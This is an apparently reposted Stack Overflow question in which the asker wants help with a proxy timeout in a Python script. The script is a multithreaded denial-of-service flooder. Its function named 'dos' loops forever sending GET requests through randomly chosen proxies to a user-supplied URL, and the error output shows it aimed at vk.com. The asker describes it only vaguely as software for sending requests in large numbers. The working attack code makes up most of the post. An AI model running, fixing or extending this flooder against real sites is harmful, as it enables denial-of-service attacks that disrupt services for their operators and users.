'The problem when working with requests using a proxy in Python

Sorry if some of the suggestions are going to be weird. I used a translator, because this question was not answered on my language's stackoverflow.

import threading
import requests
import random

proxies = ['103.239.200.186:1337']

def get_session(proxies):
    session = requests.Session()
    proxy = random.choice(proxies)
    session.proxies = {"http": proxy, "https": proxy}
    return session

def dos(target):
    while True:
        try:
            s = get_session(proxies)
            s.get(target, timeout=0.5)
            print("Request sent!")
        except requests.exceptions.ConnectionError as e:
            print("[+] Connection error! " + str(e))


threads = 20

url = input("URL: ")

try:
    threads = int(input("Threads: "))
except ValueError:
    exit("Threads count is incorrect!")

if threads == 0:
    exit("Threads count is incorrect!")

if not url.__contains__("http"):
    exit("URL doesnt contains http or https!")

if not url.__contains__("."):
    exit("Invalid domain")

for i in range(0, threads):
    thr = threading.Thread(target=dos, args=(url,))
    thr.start()
    print(str(i + 1) + " thread started!")

There was a problem. Wrote software for... Sending requests in large numbers, in general. At the time of installing the proxy, an error appeared, the solution of which I did not find after a long time. Please help me. Tell me what the error means and how to solve it in my case.

Error:

https://ibb.co/190S3FG (image link)

It in Text format:

[+] Connection error! HTTPSConnectionPool(host='vk.com', port=443): Max retries exceeded with url: /groups (Caused by ConnectTimeoutError(<urllib3.connection.HTTPSConnection object at 0x0000016DAD035DE0>, 'Connection to 103.239.200.186 timed out. (connect timeout=0.5)'))

(for example, I took the first site I came across to send requests, it doesn't matter)



Sources

This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.

Source: Stack Overflow

Solution Source